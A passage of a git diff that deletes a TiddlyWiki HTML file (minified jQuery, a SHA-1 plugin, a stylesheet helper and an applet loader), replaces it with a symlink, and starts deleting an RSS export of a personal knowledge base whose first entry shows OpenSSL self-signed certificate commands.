u)||(r=u.set(e,r,i))!==t)try{f[n]=r}catch(l){}},css:function(e,n,r,i){var s,o,u,a=v.camelCase(n);return n=v.cssProps[a]||(v.cssProps[a]=Qt(e.style,a)),u=v.cssHooks[n]||v.cssHooks[a],u&&"get"in u&&(s=u.get(e,!0,i)),s===t&&(s=Dt(e,n)),s==="normal"&&n in Vt&&(s=Vt[n]),r||i!==t?(o=parseFloat(s),r||v.isNumeric(o)?o||0:s):s},swap:function(e,t,n){var r,i,s={};for(i in t)s[i]=e.style[i],e.style[i]=t[i];r=n.call(e);for(i in t)e.style[i]=s[i];return r}}),e.getComputedStyle?Dt=function(t,n){var r,i,s,o,u=e.getComputedStyle(t,null),a=t.style;return u&&(r=u.getPropertyValue(n)||u[n],r===""&&!v.contains(t.ownerDocument,t)&&(r=v.style(t,n)),Ut.test(r)&&qt.test(n)&&(i=a.width,s=a.minWidth,o=a.maxWidth,a.minWidth=a.maxWidth=a.width=r,r=u.width,a.width=i,a.minWidth=s,a.maxWidth=o)),r}:i.documentElement.currentStyle&&(Dt=function(e,t){var n,r,i=e.currentStyle&&e.currentStyle[t],s=e.style;return i==null&&s&&s[t]&&(i=s[t]),Ut.test(i)&&!Ft.test(t)&&(n=s.left,r=e.runtimeStyle&&e.runtimeStyle.left,r&&(e.runtimeStyle.left=e.currentStyle.left),s.left=t==="fontSize"?"1em":i,i=s.pixelLeft+"px",s.left=n,r&&(e.runtimeStyle.left=r)),i===""?"auto":i}),v.each(["height","width"],function(e,t){v.cssHooks[t]={get:function(e,n,r){if(n)return e.offsetWidth===0&&It.test(Dt(e,"display"))?v.swap(e,Xt,function(){return tn(e,t,r)}):tn(e,t,r)},set:function(e,n,r){return Zt(e,n,r?en(e,t,r,v.support.boxSizing&&v.css(e,"boxSizing")==="border-box"):0)}}}),v.support.opacity||(v.cssHooks.opacity={get:function(e,t){return jt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=v.isNumeric(t)?"alpha(opacity="+t*100+")":"",s=r&&r.filter||n.filter||"";n.zoom=1;if(t>=1&&v.trim(s.replace(Bt,""))===""&&n.removeAttribute){n.removeAttribute("filter");if(r&&!r.filter)return}n.filter=Bt.test(s)?s.replace(Bt,i):s+" "+i}}),v(function(){v.support.reliableMarginRight||(v.cssHooks.marginRight={get:function(e,t){return v.swap(e,{display:"inline-block"},function(){if(t)return Dt(e,"marginRight")})}}),!v.support.pixelPosition&&v.fn.position&&v.each(["top","left"],function(e,t){v.cssHooks[t]={get:function(e,n){if(n){var r=Dt(e,t);return Ut.test(r)?v(e).position()[t]+"px":r}}}})}),v.expr&&v.expr.filters&&(v.expr.filters.hidden=function(e){return e.offsetWidth===0&&e.offsetHeight===0||!v.support.reliableHiddenOffsets&&(e.style&&e.style.display||Dt(e,"display"))==="none"},v.expr.filters.visible=function(e){return!v.expr.filters.hidden(e)}),v.each({margin:"",padding:"",border:"Width"},function(e,t){v.cssHooks[e+t]={expand:function(n){var r,i=typeof n=="string"?n.split(" "):[n],s={};for(r=0;r<4;r++)s[e+$t[r]+t]=i[r]||i[r-2]||i[0];return s}},qt.test(e)||(v.cssHooks[e+t].set=Zt)});var rn=/%20/g,sn=/\[\]$/,on=/\r?\n/g,un=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,an=/^(?:select|textarea)/i;v.fn.extend({serialize:function(){return v.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?v.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||an.test(this.nodeName)||un.test(this.type))}).map(function(e,t){var n=v(this).val();return n==null?null:v.isArray(n)?v.map(n,function(e,n){return{name:t.name,value:e.replace(on,"\r\n")}}):{name:t.name,value:n.replace(on,"\r\n")}}).get()}}),v.param=function(e,n){var r,i=[],s=function(e,t){t=v.isFunction(t)?t():t==null?"":t,i[i.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};n===t&&(n=v.ajaxSettings&&v.ajaxSettings.traditional);if(v.isArray(e)||e.jquery&&!v.isPlainObject(e))v.each(e,function(){s(this.name,this.value)});else for(r in e)fn(r,e[r],n,s);return i.join("&").replace(rn,"+")};var ln,cn,hn=/#.*$/,pn=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,dn=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,vn=/^(?:GET|HEAD)$/,mn=/^\/\//,gn=/\?/,yn=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bn=/([?&])_=[^&]*/,wn=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,En=v.fn.load,Sn={},xn={},Tn=["*/"]+["*"];try{cn=s.href}catch(Nn){cn=i.createElement("a"),cn.href="",cn=cn.href}ln=wn.exec(cn.toLowerCase())||[],v.fn.load=function(e,n,r){if(typeof e!="string"&&En)return En.apply(this,arguments);if(!this.length)return this;var i,s,o,u=this,a=e.indexOf(" ");return a>=0&&(i=e.slice(a,e.length),e=e.slice(0,a)),v.isFunction(n)?(r=n,n=t):n&&typeof n=="object"&&(s="POST"),v.ajax({url:e,type:s,dataType:"html",data:n,complete:function(e,t){r&&u.each(r,o||[e.responseText,t,e])}}).done(function(e){o=arguments,u.html(i?v("<div>").append(e.replace(yn,"")).find(i):e)}),this},v.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(e,t){v.fn[t]=function(e){return this.on(t,e)}}),v.each(["get","post"],function(e,n){v[n]=function(e,r,i,s){return v.isFunction(r)&&(s=s||i,i=r,r=t),v.ajax({type:n,url:e,data:r,success:i,dataType:s})}}),v.extend({getScript:function(e,n){return v.get(e,t,n,"script")},getJSON:function(e,t,n){return v.get(e,t,n,"json")},ajaxSetup:function(e,t){return t?Ln(e,v.ajaxSettings):(t=e,e=v.ajaxSettings),Ln(e,t),e},ajaxSettings:{url:cn,isLocal:dn.test(ln[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":Tn},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":e.String,"text html":!0,"text json":v.parseJSON,"text xml":v.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:Cn(Sn),ajaxTransport:Cn(xn),ajax:function(e,n){function T(e,n,s,a){var l,y,b,w,S,T=n;if(E===2)return;E=2,u&&clearTimeout(u),o=t,i=a||"",x.readyState=e>0?4:0,s&&(w=An(c,x,s));if(e>=200&&e<300||e===304)c.ifModified&&(S=x.getResponseHeader("Last-Modified"),S&&(v.lastModified[r]=S),S=x.getResponseHeader("Etag"),S&&(v.etag[r]=S)),e===304?(T="notmodified",l=!0):(l=On(c,w),T=l.state,y=l.data,b=l.error,l=!b);else{b=T;if(!T||e)T="error",e<0&&(e=0)}x.status=e,x.statusText=(n||T)+"",l?d.resolveWith(h,[y,T,x]):d.rejectWith(h,[x,T,b]),x.statusCode(g),g=t,f&&p.trigger("ajax"+(l?"Success":"Error"),[x,c,l?y:b]),m.fireWith(h,[x,T]),f&&(p.trigger("ajaxComplete",[x,c]),--v.active||v.event.trigger("ajaxStop"))}typeof e=="object"&&(n=e,e=t),n=n||{};var r,i,s,o,u,a,f,l,c=v.ajaxSetup({},n),h=c.context||c,p=h!==c&&(h.nodeType||h instanceof v)?v(h):v.event,d=v.Deferred(),m=v.Callbacks("once memory"),g=c.statusCode||{},b={},w={},E=0,S="canceled",x={readyState:0,setRequestHeader:function(e,t){if(!E){var n=e.toLowerCase();e=w[n]=w[n]||e,b[e]=t}return this},getAllResponseHeaders:function(){return E===2?i:null},getResponseHeader:function(e){var n;if(E===2){if(!s){s={};while(n=pn.exec(i))s[n[1].toLowerCase()]=n[2]}n=s[e.toLowerCase()]}return n===t?null:n},overrideMimeType:function(e){return E||(c.mimeType=e),this},abort:function(e){return e=e||S,o&&o.abort(e),T(0,e),this}};d.promise(x),x.success=x.done,x.error=x.fail,x.complete=m.add,x.statusCode=function(e){if(e){var t;if(E<2)for(t in e)g[t]=[g[t],e[t]];else t=e[x.status],x.always(t)}return this},c.url=((e||c.url)+"").replace(hn,"").replace(mn,ln[1]+"//"),c.dataTypes=v.trim(c.dataType||"*").toLowerCase().split(y),c.crossDomain==null&&(a=wn.exec(c.url.toLowerCase()),c.crossDomain=!(!a||a[1]===ln[1]&&a[2]===ln[2]&&(a[3]||(a[1]==="http:"?80:443))==(ln[3]||(ln[1]==="http:"?80:443)))),c.data&&c.processData&&typeof c.data!="string"&&(c.data=v.param(c.data,c.traditional)),kn(Sn,c,n,x);if(E===2)return x;f=c.global,c.type=c.type.toUpperCase(),c.hasContent=!vn.test(c.type),f&&v.active++===0&&v.event.trigger("ajaxStart");if(!c.hasContent){c.data&&(c.url+=(gn.test(c.url)?"&":"?")+c.data,delete c.data),r=c.url;if(c.cache===!1){var N=v.now(),C=c.url.replace(bn,"$1_="+N);c.url=C+(C===c.url?(gn.test(c.url)?"&":"?")+"_="+N:"")}}(c.data&&c.hasContent&&c.contentType!==!1||n.contentType)&&x.setRequestHeader("Content-Type",c.contentType),c.ifModified&&(r=r||c.url,v.lastModified[r]&&x.setRequestHeader("If-Modified-Since",v.lastModified[r]),v.etag[r]&&x.setRequestHeader("If-None-Match",v.etag[r])),x.setRequestHeader("Accept",c.dataTypes[0]&&c.accepts[c.dataTypes[0]]?c.accepts[c.dataTypes[0]]+(c.dataTypes[0]!=="*"?", "+Tn+"; q=0.01":""):c.accepts["*"]);for(l in c.headers)x.setRequestHeader(l,c.headers[l]);if(!c.beforeSend||c.beforeSend.call(h,x,c)!==!1&&E!==2){S="abort";for(l in{success:1,error:1,complete:1})x[l](c[l]);o=kn(xn,c,n,x);if(!o)T(-1,"No Transport");else{x.readyState=1,f&&p.trigger("ajaxSend",[x,c]),c.async&&c.timeout>0&&(u=setTimeout(function(){x.abort("timeout")},c.timeout));try{E=1,o.send(b,T)}catch(k){if(!(E<2))throw k;T(-1,k)}}return x}return x.abort()},active:0,lastModified:{},etag:{}});var Mn=[],_n=/\?/,Dn=/(=)\?(?=&|$)|\?\?/,Pn=v.now();v.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Mn.pop()||v.expando+"_"+Pn++;return this[e]=!0,e}}),v.ajaxPrefilter("json jsonp",function(n,r,i){var s,o,u,a=n.data,f=n.url,l=n.jsonp!==!1,c=l&&Dn.test(f),h=l&&!c&&typeof a=="string"&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Dn.test(a);if(n.dataTypes[0]==="jsonp"||c||h)return s=n.jsonpCallback=v.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,o=e[s],c?n.url=f.replace(Dn,"$1"+s):h?n.data=a.replace(Dn,"$1"+s):l&&(n.url+=(_n.test(f)?"&":"?")+n.jsonp+"="+s),n.converters["script json"]=function(){return u||v.error(s+" was not called"),u[0]},n.dataTypes[0]="json",e[s]=function(){u=arguments},i.always(function(){e[s]=o,n[s]&&(n.jsonpCallback=r.jsonpCallback,Mn.push(s)),u&&v.isFunction(o)&&o(u[0]),u=o=t}),"script"}),v.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(e){return v.globalEval(e),e}}}),v.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),v.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=i.head||i.getElementsByTagName("head")[0]||i.documentElement;return{send:function(s,o){n=i.createElement("script"),n.async="async",e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,i){if(i||!n.readyState||/loaded|complete/.test(n.readyState))n.onload=n.onreadystatechange=null,r&&n.parentNode&&r.removeChild(n),n=t,i||o(200,"success")},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(0,1)}}}});var Hn,Bn=e.ActiveXObject?function(){for(var e in Hn)Hn[e](0,1)}:!1,jn=0;v.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&Fn()||In()}:Fn,function(e){v.extend(v.support,{ajax:!!e,cors:!!e&&"withCredentials"in e})}(v.ajaxSettings.xhr()),v.support.ajax&&v.ajaxTransport(function(n){if(!n.crossDomain||v.support.cors){var r;return{send:function(i,s){var o,u,a=n.xhr();n.username?a.open(n.type,n.url,n.async,n.username,n.password):a.open(n.type,n.url,n.async);if(n.xhrFields)for(u in n.xhrFields)a[u]=n.xhrFields[u];n.mimeType&&a.overrideMimeType&&a.overrideMimeType(n.mimeType),!n.crossDomain&&!i["X-Requested-With"]&&(i["X-Requested-With"]="XMLHttpRequest");try{for(u in i)a.setRequestHeader(u,i[u])}catch(f){}a.send(n.hasContent&&n.data||null),r=function(e,i){var u,f,l,c,h;try{if(r&&(i||a.readyState===4)){r=t,o&&(a.onreadystatechange=v.noop,Bn&&delete Hn[o]);if(i)a.readyState!==4&&a.abort();else{u=a.status,l=a.getAllResponseHeaders(),c={},h=a.responseXML,h&&h.documentElement&&(c.xml=h);try{c.text=a.responseText}catch(p){}try{f=a.statusText}catch(p){f=""}!u&&n.isLocal&&!n.crossDomain?u=c.text?200:404:u===1223&&(u=204)}}}catch(d){i||s(-1,d)}c&&s(u,f,c,l)},n.async?a.readyState===4?setTimeout(r,0):(o=++jn,Bn&&(Hn||(Hn={},v(e).unload(Bn)),Hn[o]=r),a.onreadystatechange=r):r()},abort:function(){r&&r(0,1)}}}});var qn,Rn,Un=/^(?:toggle|show|hide)$/,zn=new RegExp("^(?:([-+])=|)("+m+")([a-z%]*)$","i"),Wn=/queueHooks$/,Xn=[Gn],Vn={"*":[function(e,t){var n,r,i=this.createTween(e,t),s=zn.exec(t),o=i.cur(),u=+o||0,a=1,f=20;if(s){n=+s[2],r=s[3]||(v.cssNumber[e]?"":"px");if(r!=="px"&&u){u=v.css(i.elem,e,!0)||n||1;do a=a||".5",u/=a,v.style(i.elem,e,u+r);while(a!==(a=i.cur()/o)&&a!==1&&--f)}i.unit=r,i.start=u,i.end=s[1]?u+(s[1]+1)*n:n}return i}]};v.Animation=v.extend(Kn,{tweener:function(e,t){v.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;r<i;r++)n=e[r],Vn[n]=Vn[n]||[],Vn[n].unshift(t)},prefilter:function(e,t){t?Xn.unshift(e):Xn.push(e)}}),v.Tween=Yn,Yn.prototype={constructor:Yn,init:function(e,t,n,r,i,s){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=s||(v.cssNumber[n]?"":"px")},cur:function(){var e=Yn.propHooks[this.prop];return e&&e.get?e.get(this):Yn.propHooks._default.get(this)},run:function(e){var t,n=Yn.propHooks[this.prop];return this.options.duration?this.pos=t=v.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Yn.propHooks._default.set(this),this}},Yn.prototype.init.prototype=Yn.prototype,Yn.propHooks={_default:{get:function(e){var t;return e.elem[e.prop]==null||!!e.elem.style&&e.elem.style[e.prop]!=null?(t=v.css(e.elem,e.prop,!1,""),!t||t==="auto"?0:t):e.elem[e.prop]},set:function(e){v.fx.step[e.prop]?v.fx.step[e.prop](e):e.elem.style&&(e.elem.style[v.cssProps[e.prop]]!=null||v.cssHooks[e.prop])?v.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},Yn.propHooks.scrollTop=Yn.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},v.each(["toggle","show","hide"],function(e,t){var n=v.fn[t];v.fn[t]=function(r,i,s){return r==null||typeof r=="boolean"||!e&&v.isFunction(r)&&v.isFunction(i)?n.apply(this,arguments):this.animate(Zn(t,!0),r,i,s)}}),v.fn.extend({fadeTo:function(e,t,n,r){return this.filter(Gt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=v.isEmptyObject(e),s=v.speed(t,n,r),o=function(){var t=Kn(this,v.extend({},e),s);i&&t.stop(!0)};return i||s.queue===!1?this.each(o):this.queue(s.queue,o)},stop:function(e,n,r){var i=function(e){var t=e.stop;delete e.stop,t(r)};return typeof e!="string"&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,n=e!=null&&e+"queueHooks",s=v.timers,o=v._data(this);if(n)o[n]&&o[n].stop&&i(o[n]);else for(n in o)o[n]&&o[n].stop&&Wn.test(n)&&i(o[n]);for(n=s.length;n--;)s[n].elem===this&&(e==null||s[n].queue===e)&&(s[n].anim.stop(r),t=!1,s.splice(n,1));(t||!r)&&v.dequeue(this,e)})}}),v.each({slideDown:Zn("show"),slideUp:Zn("hide"),slideToggle:Zn("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){v.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),v.speed=function(e,t,n){var r=e&&typeof e=="object"?v.extend({},e):{complete:n||!n&&t||v.isFunction(e)&&e,duration:e,easing:n&&t||t&&!v.isFunction(t)&&t};r.duration=v.fx.off?0:typeof r.duration=="number"?r.duration:r.duration in v.fx.speeds?v.fx.speeds[r.duration]:v.fx.speeds._default;if(r.queue==null||r.queue===!0)r.queue="fx";return r.old=r.complete,r.complete=function(){v.isFunction(r.old)&&r.old.call(this),r.queue&&v.dequeue(this,r.queue)},r},v.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},v.timers=[],v.fx=Yn.prototype.init,v.fx.tick=function(){var e,n=v.timers,r=0;qn=v.now();for(;r<n.length;r++)e=n[r],!e()&&n[r]===e&&n.splice(r--,1);n.length||v.fx.stop(),qn=t},v.fx.timer=function(e){e()&&v.timers.push(e)&&!Rn&&(Rn=setInterval(v.fx.tick,v.fx.interval))},v.fx.interval=13,v.fx.stop=function(){clearInterval(Rn),Rn=null},v.fx.speeds={slow:600,fast:200,_default:400},v.fx.step={},v.expr&&v.expr.filters&&(v.expr.filters.animated=function(e){return v.grep(v.timers,function(t){return e===t.elem}).length});var er=/^(?:body|html)$/i;v.fn.offset=function(e){if(arguments.length)return e===t?this:this.each(function(t){v.offset.setOffset(this,e,t)});var n,r,i,s,o,u,a,f={top:0,left:0},l=this[0],c=l&&l.ownerDocument;if(!c)return;return(r=c.body)===l?v.offset.bodyOffset(l):(n=c.documentElement,v.contains(n,l)?(typeof l.getBoundingClientRect!="undefined"&&(f=l.getBoundingClientRect()),i=tr(c),s=n.clientTop||r.clientTop||0,o=n.clientLeft||r.clientLeft||0,u=i.pageYOffset||n.scrollTop,a=i.pageXOffset||n.scrollLeft,{top:f.top+u-s,left:f.left+a-o}):f)},v.offset={bodyOffset:function(e){var t=e.offsetTop,n=e.offsetLeft;return v.support.doesNotIncludeMarginInBodyOffset&&(t+=parseFloat(v.css(e,"marginTop"))||0,n+=parseFloat(v.css(e,"marginLeft"))||0),{top:t,left:n}},setOffset:function(e,t,n){var r=v.css(e,"position");r==="static"&&(e.style.position="relative");var i=v(e),s=i.offset(),o=v.css(e,"top"),u=v.css(e,"left"),a=(r==="absolute"||r==="fixed")&&v.inArray("auto",[o,u])>-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)||0,h=parseFloat(u)||0),v.isFunction(t)&&(t=t.call(e,n,s)),t.top!=null&&(f.top=t.top-s.top+c),t.left!=null&&(f.left=t.left-s.left+h),"using"in t?t.using.call(e,f):i.css(f)}},v.fn.extend({position:function(){if(!this[0])return;var e=this[0],t=this.offsetParent(),n=this.offset(),r=er.test(t[0].nodeName)?{top:0,left:0}:t.offset();return n.top-=parseFloat(v.css(e,"marginTop"))||0,n.left-=parseFloat(v.css(e,"marginLeft"))||0,r.top+=parseFloat(v.css(t[0],"borderTopWidth"))||0,r.left+=parseFloat(v.css(t[0],"borderLeftWidth"))||0,{top:n.top-r.top,left:n.left-r.left}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||i.body;while(e&&!er.test(e.nodeName)&&v.css(e,"position")==="static")e=e.offsetParent;return e||i.body})}}),v.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);v.fn[e]=function(i){return v.access(this,function(e,i,s){var o=tr(e);if(s===t)return o?n in o?o[n]:o.document.documentElement[i]:e[i];o?o.scrollTo(r?v(o).scrollLeft():s,r?s:v(o).scrollTop()):e[i]=s},e,i,arguments.length,null)}}),v.each({Height:"height",Width:"width"},function(e,n){v.each({padding:"inner"+e,content:n,"":"outer"+e},function(r,i){v.fn[i]=function(i,s){var o=arguments.length&&(r||typeof i!="boolean"),u=r||(i===!0||s===!0?"margin":"border");return v.access(this,function(n,r,i){var s;return v.isWindow(n)?n.document.documentElement["client"+e]:n.nodeType===9?(s=n.documentElement,Math.max(n.body["scroll"+e],s["scroll"+e],n.body["offset"+e],s["offset"+e],s["client"+e])):i===t?v.css(n,r,i,u):v.style(n,r,i,u)},n,o?i:t,o,null)}})}),e.jQuery=e.$=v,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return v})})(window);
-//]]>
-</script>
-<script id="jqueryArea" type="text/javascript">
-//<![CDATA[
-/*
-jQuery.encoding.digests.sha1.js
-
-SHA-1 digest and associated utility functions
-
-Copyright (c) UnaMesa Association 2009
-
-Dual licensed under the MIT and GPL licenses:
- http://www.opensource.org/licenses/mit-license.php
- http://www.gnu.org/licenses/gpl.html
-*/
-
-(function($) {
-
-if(!$.encoding)
- $.encoding = {};
- $.extend($.encoding,{
- strToBe32s: function(str) {
- // Convert a string to an array of big-endian 32-bit words
- var be=[];
- var len=Math.floor(str.length/4);
- var i, j;
- for(i=0, j=0; i<len; i++, j+=4) {
- be[i]=((str.charCodeAt(j)&0xff) << 24)|((str.charCodeAt(j+1)&0xff) << 16)|((str.charCodeAt(j+2)&0xff) << 8)|(str.charCodeAt(j+3)&0xff);
- }
- while(j<str.length) {
- be[j>>2] |= (str.charCodeAt(j)&0xff)<<(24-(j*8)%32);
- j++;
- }
- return be;
- },
- be32sToStr: function(be) {
- // Convert an array of big-endian 32-bit words to a string
- var str='';
- for(var i=0;i<be.length*32;i+=8) {
- str += String.fromCharCode((be[i>>5]>>>(24-i%32)) & 0xff);
- }
- return str;
- },
- be32sToHex: function(be) {
- // Convert an array of big-endian 32-bit words to a hex string
- var hex='0123456789ABCDEF';
- var str='';
- for(var i=0;i<be.length*4;i++) {
- str += hex.charAt((be[i>>2]>>((3-i%4)*8+4))&0xF) + hex.charAt((be[i>>2]>>((3-i%4)*8))&0xF);
- }
- return str;
- }
- });
-})(jQuery);
-
-
-(function($) {
-
-if(!$.encoding.digests)
- $.encoding.digests = {};
- $.extend($.encoding.digests,{
- hexSha1Str: function(str) {
- // Return, in hex, the SHA-1 hash of a string
- return $.encoding.be32sToHex($.encoding.digests.sha1Str(str));
- },
- sha1Str: function(str) {
- // Return the SHA-1 hash of a string
- return sha1($.encoding.strToBe32s(str),str.length);
- },
- sha1: function(x,blen) {
- // Calculate the SHA-1 hash of an array of blen bytes of big-endian 32-bit words
- return sha1($.encoding.strToBe32s(str),str.length);
- }
- });
-
- // Private functions.
- function sha1(x,blen) {
- // Calculate the SHA-1 hash of an array of blen bytes of big-endian 32-bit words
- function add32(a,b) {
- // Add 32-bit integers, wrapping at 32 bits
- // Uses 16-bit operations internally to work around bugs in some JavaScript interpreters.
- var lsw=(a&0xFFFF)+(b&0xFFFF);
- var msw=(a>>16)+(b>>16)+(lsw>>16);
- return (msw<<16)|(lsw&0xFFFF);
- }
- function AA(a,b,c,d,e) {
- // Cryptographic round helper function. Add five 32-bit integers, wrapping at 32 bits, second parameter is rotated left 5 bits before the addition
- // Uses 16-bit operations internally to work around bugs in some JavaScript interpreters.
- b=(b>>>27)|(b<<5);
- var lsw=(a&0xFFFF)+(b&0xFFFF)+(c&0xFFFF)+(d&0xFFFF)+(e&0xFFFF);
- var msw=(a>>16)+(b>>16)+(c>>16)+(d>>16)+(e>>16)+(lsw>>16);
- return (msw<<16)|(lsw&0xFFFF);
- }
- function RR(w,j) {
- // Cryptographic round helper function.
- var n=w[j-3]^w[j-8]^w[j-14]^w[j-16];
- return (n>>>31)|(n<<1);
- }
-
- var len=blen*8;
- x[len>>5] |= 0x80 << (24-len%32);
- x[((len+64>>9)<<4)+15]=len;
- var w=new Array(80);
-
- var k1=0x5A827999;
- var k2=0x6ED9EBA1;
- var k3=0x8F1BBCDC;
- var k4=0xCA62C1D6;
-
- var h0=0x67452301;
- var h1=0xEFCDAB89;
- var h2=0x98BADCFE;
- var h3=0x10325476;
- var h4=0xC3D2E1F0;
-
- for(var i=0;i<x.length;i+=16) {
- var j=0;
- var t;
- var a=h0;
- var b=h1;
- var c=h2;
- var d=h3;
- var e=h4;
- while(j<16) {
- w[j]=x[i+j];
- t=AA(e,a,d^(b&(c^d)),w[j],k1);
- e=d; d=c; c=(b>>>2)|(b<<30); b=a; a=t; j++;
- }
- while(j<20) {
- w[j]=RR(w,j);
- t=AA(e,a,d^(b&(c^d)),w[j],k1);
- e=d; d=c; c=(b>>>2)|(b<<30); b=a; a=t; j++;
- }
- while(j<40) {
- w[j]=RR(w,j);
- t=AA(e,a,b^c^d,w[j],k2);
- e=d; d=c; c=(b>>>2)|(b<<30); b=a; a=t; j++;
- }
- while(j<60) {
- w[j]=RR(w,j);
- t=AA(e,a,(b&c)|(d&(b|c)),w[j],k3);
- e=d; d=c; c=(b>>>2)|(b<<30); b=a; a=t; j++;
- }
- while(j<80) {
- w[j]=RR(w,j);
- t=AA(e,a,b^c^d,w[j],k4);
- e=d; d=c; c=(b>>>2)|(b<<30); b=a; a=t; j++;
- }
- h0=add32(h0,a);
- h1=add32(h1,b);
- h2=add32(h2,c);
- h3=add32(h3,d);
- h4=add32(h4,e);
- }
- return [h0,h1,h2,h3,h4];
- }
-})(jQuery);
-/*
-jQuery.twStylesheet.js
-
-jQuery plugin to dynamically insert CSS rules into a document
-
-Usage:
- jQuery.twStylesheet applies style definitions
- jQuery.twStylesheet.remove neutralizes style definitions
-
-Copyright (c) UnaMesa Association 2009
-
-Triple licensed under the BSD, MIT and GPL licenses:
- http://www.opensource.org/licenses/bsd-license.php
- http://www.opensource.org/licenses/mit-license.php
- http://www.gnu.org/licenses/gpl.html
-*/
-
-(function($) {
-
-var defaultId = "customStyleSheet"; // XXX: rename to dynamicStyleSheet?
-
-// Add or replace a style sheet
-// css argument is a string of CSS rule sets
-// options.id is an optional name identifying the style sheet
-// options.doc is an optional document reference
-// N.B.: Uses DOM methods instead of jQuery to ensure cross-browser comaptibility.
-$.twStylesheet = function(css, options) {
- options = options || {};
- var id = options.id || defaultId;
- var doc = options.doc || document;
- var el = doc.getElementById(id);
- if(doc.createStyleSheet) { // IE-specific handling
- if(el) {
- el.parentNode.removeChild(el);
- }
- doc.getElementsByTagName("head")[0].insertAdjacentHTML("beforeEnd",
- '&nbsp;<style id="' + id + '" type="text/css">' + css + '</style>'); // fails without &nbsp;
- } else { // modern browsers
- if(el) {
- el.replaceChild(doc.createTextNode(css), el.firstChild);
- } else {
- el = doc.createElement("style");
- el.type = "text/css";
- el.id = id;
- el.appendChild(doc.createTextNode(css));
- doc.getElementsByTagName("head")[0].appendChild(el);
- }
- }
-};
-
-// Remove existing style sheet
-// options.id is an optional name identifying the style sheet
-// options.doc is an optional document reference
-$.twStylesheet.remove = function(options) {
- options = options || {};
- var id = options.id || defaultId;
- var doc = options.doc || document;
- var el = doc.getElementById(id);
- if(el) {
- el.parentNode.removeChild(el);
- }
-};
-
-})(jQuery);
-
-//]]>
-</script>
-<script type="text/javascript">
-//<![CDATA[
-if(useJavaSaver)
- document.write("<applet style='position:absolute;left:-1px' name='TiddlySaver' code='TiddlySaver.class' archive='TiddlySaver.jar' width='1' height='1'></applet>");
-//]]>
-</script>
-<!--POST-SCRIPT-START-->
-
-<!--POST-SCRIPT-END-->
-</body>
-</html>
+/home/autosync/autosync/wiki/private/knowledge_base.html \ No newline at end of file
diff --git a/content/wiki/knowledge_base.xml b/content/wiki/knowledge_base.xml
index 2bdd43a..b82caa0 100755..120000
--- a/content/wiki/knowledge_base.xml
+++ b/content/wiki/knowledge_base.xml
@@ -1,462 +1 @@
-<?xml version="1.0"?>
-<rss version="2.0">
-<channel>
-<title>Knowledge Base</title>
-<description></description>
-<language>en</language>
-<copyright>Copyright 2014 makefu</copyright>
-<pubDate>Mon, 31 Mar 2014 07:06:35 GMT</pubDate>
-<lastBuildDate>Mon, 31 Mar 2014 07:06:35 GMT</lastBuildDate>
-<docs>http://blogs.law.harvard.edu/tech/rss</docs>
-<generator>TiddlyWiki 2.8.1</generator>
-<item>
-<title>OpenSSL</title>
-<description>&lt;h1&gt; generate a new certificate&lt;/h1&gt;for example for unrealircd:&lt;br&gt;&lt;pre&gt;openssl req -new -x509 -keyout temp.key -out server.cert.pem -days 9001
-openssl rsa -in temp.key &amp;gt; server.key.pem
-&lt;/pre&gt;</description>
-<link>null#OpenSSL</link>
-<pubDate>Mon, 31 Mar 2014 07:06:34 GMT</pubDate>
-
-</item>
-<item>
-<title>USB</title>
